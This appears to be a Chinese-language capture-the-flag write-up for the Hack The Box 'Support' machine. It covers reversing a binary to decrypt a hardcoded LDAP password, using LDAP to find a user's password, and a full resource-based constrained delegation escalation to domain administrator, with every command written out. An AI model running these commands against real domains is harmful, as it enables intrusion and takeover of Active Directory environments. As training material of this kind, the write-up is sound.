nmap扫描,目标主机明显为域控,主机名为DC
,域名为support.htb
访问smb服务,看到一些路径
访问support-tools
下载UserInfo.exe.zip
并解压,看到一些exe和dll文件,还有一个config文件
使用IDA打开UserInfo.exe
,看到存在getPassword
函数,其中有个UserInfo.Services.Protected::enc_password
和UserInfo.Services.Protected::key
检查enc_password
的交叉引用
得到加密后的密码,变量名为a0nv32ptwgyjzg9
,值为0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E
。另外看到一个armando
,可能是用户名。以及LDAP://support.htb
大概看了一下对应函数的代码逻辑,应该是使用Bytes类型的armando
对ASCII码类型的字符串进行了加密
借助GPT分析代码,大概就是使用key中的字符对字符串进行异或加密,中间增加了对0XDF
的异或
将局部变量1、2、0依次压入堆栈
将堆栈上的第二个元素(局部变量0)作为数组,将第一个元素(局部变量2)作为索引,取出数组中的元素并压入堆栈
将UserInfo.Services.Protected类的静态字段key(一个字节数组)压入堆栈
将局部变量2压入堆栈
将UserInfo.Services.Protected类的静态字段key(一个字节数组)压入堆栈
取出数组的长度并转换为int32类型,压入堆栈
计算堆栈上的两个元素(局部变量2和key数组的长度)的余数,并压入堆栈
将堆栈上的第二个元素(key数组)作为数组,将第一个元素(余数)作为索引,取出数组中的元素并压入堆栈
计算堆栈上的两个元素(数组中的两个字节)的异或,并压入堆栈
将常数0xDF压入堆栈
计算堆栈上的两个元素(异或结果和常数0xDF)的异或,并转换为uint8类型,压入堆栈
将堆栈上的第三个元素(局部变量0)作为数组,将第二个元素(局部变量2)作为索引,将第一个元素(uint8值)存储到数组中对应位置
将局部变量2压入堆栈
将常数1压入堆栈
计算堆栈上的两个元素(局部变量2和常数1)相加,并存储到局部变量2
解密得到初始字符串nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
import base64
c = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
k = b"armando"
result = ""
for i in range(len(c)):
result += chr(c[i] ^ k[i%len(k)] ^ 223)
print(result)
从代码中看到对应的用户应该是support\ldap
使用ldapsearch进行查询
ldapsearch -x -H ldap://10.10.11.174 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb'
在结果中发现疑似support用户的密码Ironside47pleasure40Watchful
使用evil-winrm
登录,拿到用户flag
使用bloodhound信息收集,看到support用户具备Shared Support Account
组的权限,查看帮助信息,看到利用基于资源的约束委派攻击进行提权


RBCD的利用条件有2个,首先是具备修改主机msDS-AllowedToActOnBehalfOfOtherIdentity
的权限,其次是拥有一个机器账户的权限。在本次实验环境中,Shared Support Account
组具备对域主机DC的generic all的权限,而用户support隶属于该组,所以可以修改主机权限;而一个域用户最多可以创建10个机器账户,所以可以手动创建机器账户。
使用工具PowerView.ps1
:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
检查与用户创建机器用户的数量,符合默认10个
Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' | select ms-ds-machineaccountquota
检查主机的msDS-AllowedToActOnBehalfOfOtherIdentity权限,可以看到值为空
Get-DomainComputer DC | select name,msds-allowedtoactonbehalfofotheridentity | fl
使用工具Powermad.ps1
:https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
创建机器账户
New-MachineAccount -MachineAccount FAKE -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
检查创建的机器账户
Get-ADComputer -identity FAKE
使用Powerview中的功能为机器账户设置约束委派的权限,目的是设置DC主机msds-allowedtoactonbehalfofotheridentity
的值
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE$
检查是否设置成功
Get-DomainComputer DC | select msds-allowedtoactonbehalfofotheridentity
获取创建的机器账户的HASH
./Rubeus.exe hash /password:Password123 /user:FAKE$ /domain:support.htb
创建票据
python3 getST.py -dc-ip 10.10.11.174 support/fake\$:Password123 -spn cifs/dc.support.htb -impersonate administrator
利用票据连接主机
export KRB5CCNAME=administrator.ccache; python3 psexec.py dc.support.htb -target-ip 10.10.11.174 -k -no-pass